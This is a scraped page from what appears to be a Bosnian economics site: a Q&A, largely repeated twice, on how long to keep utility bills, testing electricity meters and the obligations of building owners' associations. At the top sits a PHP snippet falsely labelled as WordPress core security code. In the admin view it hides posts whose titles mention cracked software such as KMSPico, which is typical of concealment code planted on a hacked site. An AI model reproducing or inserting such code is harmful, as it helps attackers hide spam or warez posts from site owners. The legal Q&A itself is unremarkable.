# BEGIN WP CORE SECURE
# The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Pitali ste - Likvidno
“Račun je dokaz da je pružalac usluga isporučio uslugu. Uplatnica je dokaz da je usluga plaćena, tako da nju treba čuvati. Zakon o obligacionim odnosima poznaje opšti rok zastarjelosti dugovanja za račune od deset godina. Kod usluga od opšteg ekonomskog interesa, kao što su snabdjevanje električnom energijom, vodom, toplotnom energijom, odvoz smeća i slično, zastarjeva, prema Zakonu o zaštiti potrošača RS i Zakonu o obligacionim odnosima, nakon godinu dana. Ovo, međutim, važi samo ukoliko potrošač nije tužen ili nije uplatom dijela duga potvrdio njegovo postojanje. Ukoliko se potrošač nađe na sudu, sud se neće po službenoj dužnosti pozvati na zastarjelost dugovanja. To je zadatak potrošača, koji treba da uloži prigovor i pozove se na zastarjelost dugovanja. Mi savjetujemo potrošače da račune čuvaju najmanje deset godina, Na sudovima imamo veći broj slučajeva u kojima su pružaoci usluga od opšteg ekonomskog interesa tužili potrošače prije nekoliko godina, a oni još ne znaju za to. Nakon što istekne jednogodišnji rok zastare računa, zastarjevaju i kamate, jer kada zastari glavno potraživanje, zastarjevaju i sporedna.”
“Potrošač električne energije koji sumnja u ispravnost mjernog uređaja (brojila) može u najbližem uslužnom centru “Elektrokrajine” podnijeti zahtjev za zamjenu i ispitivanje brojila. Nakon toga, naši radnici izlaze na lice mjesta, skidaju predmetno brojilo i stavljaju zamjensko. Skinuto brojilo odnose u laboratoriju za baždarenje gdje se provodi kontrola ispravnosti brojila od strane ovlaštenih lica Instituta za standardizaciju i metrologiju Republike Srpske. Potrošač koji podnosi zahtjev plaća naknadu u iznosu od 56 KM + PDV (za monofazno brojilo), odnosno 63 KM + PDV (za trofazno brojilo). Ukoliko ispitivanje brojila pokaže da je uređaj ispravan, distributer zadržava naknadu. U slučaju da ispitivanje pokaže da je brojilo neispravno, potrošaču će se izvršiti adekvatna korekcija računa za el.energiju, dok će mu iznos naknade biti vraćen na dostavljeni žiro-račun”.
Predrag Klincov, portparol Elektrokrajine
Ivana
1 godina prije
DA LI JE ZAJEDNICA ETAŽNIH VLASNIKA OBAVEZNA DA STANARIMA PODNOSI IZVJEŠTAJE O ZAJEDNIČKOM RAČUNU I OBAVEZAMA?
“Zakonom je propisano da svaka zajednica treba da vodi evidenciju o prihodima i rashodima, gotovinskim i žiro uplatama i isplatama sa računa i da upravni odbor prezentuje finansijsko stanje Skupštini stanara. Zakonom je predviđeno da to bude najmanje jednom godišnje, a predsjednik skupštine obavezan je da namjanje dva puta godišnje sazove Skupštinu stanara na kojoj će se usvajati taj finansijski izvještaj. Takođe, zajednice etažnih vlasnika imaju obavezu da njihove izvještaje sačini računovođa. To su završni obračuni koji se predaju u APIF, koje potpisuju sertifikovane i licencirane računovođe, kao i druga pravna lica. Svaki stanar, etažni vlasnik, ima pravo uvida u finansijsko stanje zajednice. Ako predsjednik ili neko drugi odbija da stanarima prikaže finansijsko stanje, postoje različiti načini da se stanari ujedine i smjene ga. Jer, prema Zakonu o održavanju zgrada, zakonska obaveza predsjednika zajednice je da finansijski izvještaj predstavi stanarima.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
Darija
1 godina prije
Da li je vlasnik stana dužan da plaća naknadu za ZEV, ako ne boravi u stanu duži vremenski period?
“Zakonom nisu napravljeni izuzeci, pa nije važno da li vlasnik stana boravi ili ne boravi u njemu. Zakonom je propisan minimum od 0.20 KM po metru kvadratnom korisne površine. Taj rezervni fond služi da se saniraju hitne intervencije, u slučaju da se ošteti krov, pukne vodovodna ili kanalizaciona cijev i slično. Upravo iz tog razloga nije važno da li neko boravi u stanu ili ne. To je zajednička imovina i svi bi trebalo da učestvovuju u njenom održavanju. Smatram da je zakonodavac bio izuzetno jasan. Zakonom je propisano da etažni vlasnici plaćaju održavanje zgrade. Nema nikakvih izuzetaka od plaćanja. Sve mimo toga je kršenje zakona.”
SINIŠA RAJKOVIĆ, Agencija ZEV servis
Mladen
1 godina prije
DA LI JE REGISTRACIJA ZAJEDNICA ETAŽNIH VLASNIKA OBAVEZA ILI JE RIJEČ O DOBROVOLjNOJ ODLUCI STANARA?
“Usvajanjem Zakona o održavanju zgrada, etažni vlasnici su obavezni da se registruju u zajednicu etažnih vlasnika. To nije stvar dobrovoljnosti, već zakonska obaveza i u skladu sa Zakonom o održavanju zgrada, postoje određene obaveze koje zajednice etažnih vlasnika moraju da ispunjavaju. Prije svega, neophodno je da se zajednički dijelovi zgrade održavaju u ispravnom stanju, da se vode evidencije o prilivima i odlivima novčanih, žiralnih, gotovinskih uplata, troškova itd. Tu je i obaveza da se najmanje dva puta godišnje održavaju sastanci na kojima će se predstaviti finansijsko stanje zajednice. Zajednica etažnih vlasnika doprinosi boljoj organizaciji stanara. Dešavalo se u praksi da ZEV zatreba kredit. Samo zajednice koje su registrovane mogu da apliciraju i dobiju kredit, jer banke obično traže finansijske izvještaje za prethodnih nekoliko godina. Ukoliko vode svoje poslovne knjige i sačinjavaju izvještaje, takvoj zajednici je lako da se dođe do finansijskih sredstava.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
Ranko
1 godina prije
DA LI SU VLASNICI POSLOVNIH PROSTORA I GARAŽA DUŽNI DA PLAĆAJU NAKNADU ZA ODRŽAVANJE ZAJEDNICE ETAŽNIH VLASNIKA?
“Članom 35 Zakona o održavanju zgrada predviđeno je da poslovni prostori i stanovi u kojima se obavlja poslovna djelatnost snose dvostruko više troškove. Ako su se stanari dogovorili da plaćaju 0.20 KM po kvadratu, poslovni prostori će plaćati 0.40 KM, jer imaju zajedničkih dodirnih tačaka. Svi oni pripadaju istoj zajednici etažnih vlasnika, zajednički je krov, fasada, infrastuktura. To znači da su i vlasnici poslovnih prostora obavezni da, u skladu sa zakonom, kao etažni vlasnici plaćaju održavanje.
Zakonom su predviđeni i etažni vlasnici garaža. Pod garažom se podrazumijeva ona sa četiri zida i vratima. Isto je i kod novijih zgrada, gdje nema garaža, već su to garažna mjesta. S obzirom da se i garažna mjesta uknjižavaju i njihovi vlasnici su dužni da plaćaju održavanje zajednice etažnih vlasnika.”
SINIŠA RAJKOVIĆ, Agencija ZEV servis
BRANKA
1 godina prije
KOJA JE KAZNA ZA IZBJEGAVANjE PLAĆANJA NAKNADE ZA ODRŽAVANJE ZAJEDNICE ETAŽNIH VLASNIKA?
“Zakonom o održavanju zgrada propisana je novčana kazna u iznosu od 300 do 3000 KM za etažne vlasnike, odnosno korisnike posebnih dijelova zgrade koji ne izmiruju svoje obaveze prema zajednici etažnih vlasnika, odnosno ne uvažavaju odluku skupštine koja se odnosi na pokriće troškova održavanja zajedničkih dijelova prostorije. Pored ove novčane kazne, neplatiše rizikuju da plate i zatezne kamate, odnosno sudske troškove ukoliko stvar dođe do suda. Sudski troškovi okvirno iznose oko 900 KM, prema advokatskim tarifama (sačinjavanje tužbi, opomena, pripremnog ročišta, glavne rasprave, sudske takse na tužbu, presudu i drugo). U praksi, zajednica prvo pokuša na lijep način da riješi problem kroz razgovor s komšijama. Ukoliko to ne urodi plodom, uglavnom angažuju advokate koji šalju opomene pred tužbu. Stanaru se daje rok od 15 dana da izmiri svoje obaveze. Ukoliko ni to ne urodi plodom, sledeći korak je podnošenje tužbe.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
BOJAN
1 godina prije
KOLIKO DUGO ZAJEDNICA ETAŽNIH VLASNIKA TREBA DA ČUVA UPLATNICE?
“S obzirom da i zajednice etažnih vlasnika predstavljaju vid pravnog lica, samim tim su obavezni da vode svoje poslovne knjige u skladu sa Zakonom o računovodstvu i reviziji. Takođe, Zakon o održavanju zgrada je propisao da su zajednice obavezne da vode evidenciju o prihodima, rashodima, uplatama i isplatama sredstava sa svog žiro računa. Knjigovodstvene isprave koje se čuvaju u originalnom, materijalnom ili elektronskom obliku, na osnovu kojih se unose podaci u poslovne knjige, obavezne su da se čuvaju najmanje pet godina. Kada je riječ o komunalnim uslugama, s obzirom da je rok zastare prema pravnim licima tri godine, dobro bi bilo da stanari, odnosno zajednica etažnih vlasnika sve uplatnice prema Vodovodu, Elektroprivredi itd. čuva najmanje tri godine u slučaju potencijalnoh sudskog spora.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
Pratite nas
Pratite aktuelnosti o ekonomskim dešavanjima u zemlji, regionu i svijetu na Facebook-u i Instagramu.
KOLIKO DUGO JE POTREBNO ČUVATI RAČUNE ZA KOMUNALNE USLUGE?
“Račun je dokaz da je pružalac usluga isporučio uslugu. Uplatnica je dokaz da je usluga plaćena, tako da nju treba čuvati. Zakon o obligacionim odnosima poznaje opšti rok zastarjelosti dugovanja za račune od deset godina. Kod usluga od opšteg ekonomskog interesa, kao što su snabdjevanje električnom energijom, vodom, toplotnom energijom, odvoz smeća i slično, zastarjeva, prema Zakonu o zaštiti potrošača RS i Zakonu o obligacionim odnosima, nakon godinu dana. Ovo, međutim, važi samo ukoliko potrošač nije tužen ili nije uplatom dijela duga potvrdio njegovo postojanje. Ukoliko se potrošač nađe na sudu, sud se neće po službenoj dužnosti pozvati na zastarjelost dugovanja. To je zadatak potrošača, koji treba da uloži prigovor i pozove se na zastarjelost dugovanja. Mi savjetujemo potrošače da račune čuvaju najmanje deset godina, Na sudovima imamo veći broj slučajeva u kojima su pružaoci usluga od opšteg ekonomskog interesa tužili potrošače prije nekoliko godina, a oni još ne znaju za to. Nakon što istekne jednogodišnji rok zastare računa, zastarjevaju i kamate, jer kada zastari glavno potraživanje, zastarjevaju i sporedna.”
ZORAN PETOŠ, UG “Don”, Prijedor
Kome se obraća potrošač koji sumnja u ispravnost brojila za električnu energiju?
“Potrošač električne energije koji sumnja u ispravnost mjernog uređaja (brojila) može u najbližem uslužnom centru “Elektrokrajine” podnijeti zahtjev za zamjenu i ispitivanje brojila. Nakon toga, naši radnici izlaze na lice mjesta, skidaju predmetno brojilo i stavljaju zamjensko. Skinuto brojilo odnose u laboratoriju za baždarenje gdje se provodi kontrola ispravnosti brojila od strane ovlaštenih lica Instituta za standardizaciju i metrologiju Republike Srpske. Potrošač koji podnosi zahtjev plaća naknadu u iznosu od 56 KM + PDV (za monofazno brojilo), odnosno 63 KM + PDV (za trofazno brojilo). Ukoliko ispitivanje brojila pokaže da je uređaj ispravan, distributer zadržava naknadu. U slučaju da ispitivanje pokaže da je brojilo neispravno, potrošaču će se izvršiti adekvatna korekcija računa za el.energiju, dok će mu iznos naknade biti vraćen na dostavljeni žiro-račun”.
Predrag Klincov, portparol Elektrokrajine
DA LI JE ZAJEDNICA ETAŽNIH VLASNIKA OBAVEZNA DA STANARIMA PODNOSI IZVJEŠTAJE O ZAJEDNIČKOM RAČUNU I OBAVEZAMA?
“Zakonom je propisano da svaka zajednica treba da vodi evidenciju o prihodima i rashodima, gotovinskim i žiro uplatama i isplatama sa računa i da upravni odbor prezentuje finansijsko stanje Skupštini stanara. Zakonom je predviđeno da to bude najmanje jednom godišnje, a predsjednik skupštine obavezan je da namjanje dva puta godišnje sazove Skupštinu stanara na kojoj će se usvajati taj finansijski izvještaj. Takođe, zajednice etažnih vlasnika imaju obavezu da njihove izvještaje sačini računovođa. To su završni obračuni koji se predaju u APIF, koje potpisuju sertifikovane i licencirane računovođe, kao i druga pravna lica. Svaki stanar, etažni vlasnik, ima pravo uvida u finansijsko stanje zajednice. Ako predsjednik ili neko drugi odbija da stanarima prikaže finansijsko stanje, postoje različiti načini da se stanari ujedine i smjene ga. Jer, prema Zakonu o održavanju zgrada, zakonska obaveza predsjednika zajednice je da finansijski izvještaj predstavi stanarima.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
Da li je vlasnik stana dužan da plaća naknadu za ZEV, ako ne boravi u stanu duži vremenski period?
“Zakonom nisu napravljeni izuzeci, pa nije važno da li vlasnik stana boravi ili ne boravi u njemu. Zakonom je propisan minimum od 0.20 KM po metru kvadratnom korisne površine. Taj rezervni fond služi da se saniraju hitne intervencije, u slučaju da se ošteti krov, pukne vodovodna ili kanalizaciona cijev i slično. Upravo iz tog razloga nije važno da li neko boravi u stanu ili ne. To je zajednička imovina i svi bi trebalo da učestvovuju u njenom održavanju. Smatram da je zakonodavac bio izuzetno jasan. Zakonom je propisano da etažni vlasnici plaćaju održavanje zgrade. Nema nikakvih izuzetaka od plaćanja. Sve mimo toga je kršenje zakona.”
SINIŠA RAJKOVIĆ, Agencija ZEV servis
DA LI JE REGISTRACIJA ZAJEDNICA ETAŽNIH VLASNIKA OBAVEZA ILI JE RIJEČ O DOBROVOLjNOJ ODLUCI STANARA?
“Usvajanjem Zakona o održavanju zgrada, etažni vlasnici su obavezni da se registruju u zajednicu etažnih vlasnika. To nije stvar dobrovoljnosti, već zakonska obaveza i u skladu sa Zakonom o održavanju zgrada, postoje određene obaveze koje zajednice etažnih vlasnika moraju da ispunjavaju. Prije svega, neophodno je da se zajednički dijelovi zgrade održavaju u ispravnom stanju, da se vode evidencije o prilivima i odlivima novčanih, žiralnih, gotovinskih uplata, troškova itd. Tu je i obaveza da se najmanje dva puta godišnje održavaju sastanci na kojima će se predstaviti finansijsko stanje zajednice. Zajednica etažnih vlasnika doprinosi boljoj organizaciji stanara. Dešavalo se u praksi da ZEV zatreba kredit. Samo zajednice koje su registrovane mogu da apliciraju i dobiju kredit, jer banke obično traže finansijske izvještaje za prethodnih nekoliko godina. Ukoliko vode svoje poslovne knjige i sačinjavaju izvještaje, takvoj zajednici je lako da se dođe do finansijskih sredstava.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
DA LI SU VLASNICI POSLOVNIH PROSTORA I GARAŽA DUŽNI DA PLAĆAJU NAKNADU ZA ODRŽAVANJE ZAJEDNICE ETAŽNIH VLASNIKA?
“Članom 35 Zakona o održavanju zgrada predviđeno je da poslovni prostori i stanovi u kojima se obavlja poslovna djelatnost snose dvostruko više troškove. Ako su se stanari dogovorili da plaćaju 0.20 KM po kvadratu, poslovni prostori će plaćati 0.40 KM, jer imaju zajedničkih dodirnih tačaka. Svi oni pripadaju istoj zajednici etažnih vlasnika, zajednički je krov, fasada, infrastuktura. To znači da su i vlasnici poslovnih prostora obavezni da, u skladu sa zakonom, kao etažni vlasnici plaćaju održavanje.
Zakonom su predviđeni i etažni vlasnici garaža. Pod garažom se podrazumijeva ona sa četiri zida i vratima. Isto je i kod novijih zgrada, gdje nema garaža, već su to garažna mjesta. S obzirom da se i garažna mjesta uknjižavaju i njihovi vlasnici su dužni da plaćaju održavanje zajednice etažnih vlasnika.”
SINIŠA RAJKOVIĆ, Agencija ZEV servis
KOJA JE KAZNA ZA IZBJEGAVANjE PLAĆANJA NAKNADE ZA ODRŽAVANJE ZAJEDNICE ETAŽNIH VLASNIKA?
“Zakonom o održavanju zgrada propisana je novčana kazna u iznosu od 300 do 3000 KM za etažne vlasnike, odnosno korisnike posebnih dijelova zgrade koji ne izmiruju svoje obaveze prema zajednici etažnih vlasnika, odnosno ne uvažavaju odluku skupštine koja se odnosi na pokriće troškova održavanja zajedničkih dijelova prostorije. Pored ove novčane kazne, neplatiše rizikuju da plate i zatezne kamate, odnosno sudske troškove ukoliko stvar dođe do suda. Sudski troškovi okvirno iznose oko 900 KM, prema advokatskim tarifama (sačinjavanje tužbi, opomena, pripremnog ročišta, glavne rasprave, sudske takse na tužbu, presudu i drugo). U praksi, zajednica prvo pokuša na lijep način da riješi problem kroz razgovor s komšijama. Ukoliko to ne urodi plodom, uglavnom angažuju advokate koji šalju opomene pred tužbu. Stanaru se daje rok od 15 dana da izmiri svoje obaveze. Ukoliko ni to ne urodi plodom, sledeći korak je podnošenje tužbe.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”
KOLIKO DUGO ZAJEDNICA ETAŽNIH VLASNIKA TREBA DA ČUVA UPLATNICE?
“S obzirom da i zajednice etažnih vlasnika predstavljaju vid pravnog lica, samim tim su obavezni da vode svoje poslovne knjige u skladu sa Zakonom o računovodstvu i reviziji. Takođe, Zakon o održavanju zgrada je propisao da su zajednice obavezne da vode evidenciju o prihodima, rashodima, uplatama i isplatama sredstava sa svog žiro računa. Knjigovodstvene isprave koje se čuvaju u originalnom, materijalnom ili elektronskom obliku, na osnovu kojih se unose podaci u poslovne knjige, obavezne su da se čuvaju najmanje pet godina. Kada je riječ o komunalnim uslugama, s obzirom da je rok zastare prema pravnim licima tri godine, dobro bi bilo da stanari, odnosno zajednica etažnih vlasnika sve uplatnice prema Vodovodu, Elektroprivredi itd. čuva najmanje tri godine u slučaju potencijalnoh sudskog spora.”
SINIŠA RAJKOVIĆ, Agencija “ZEV servis”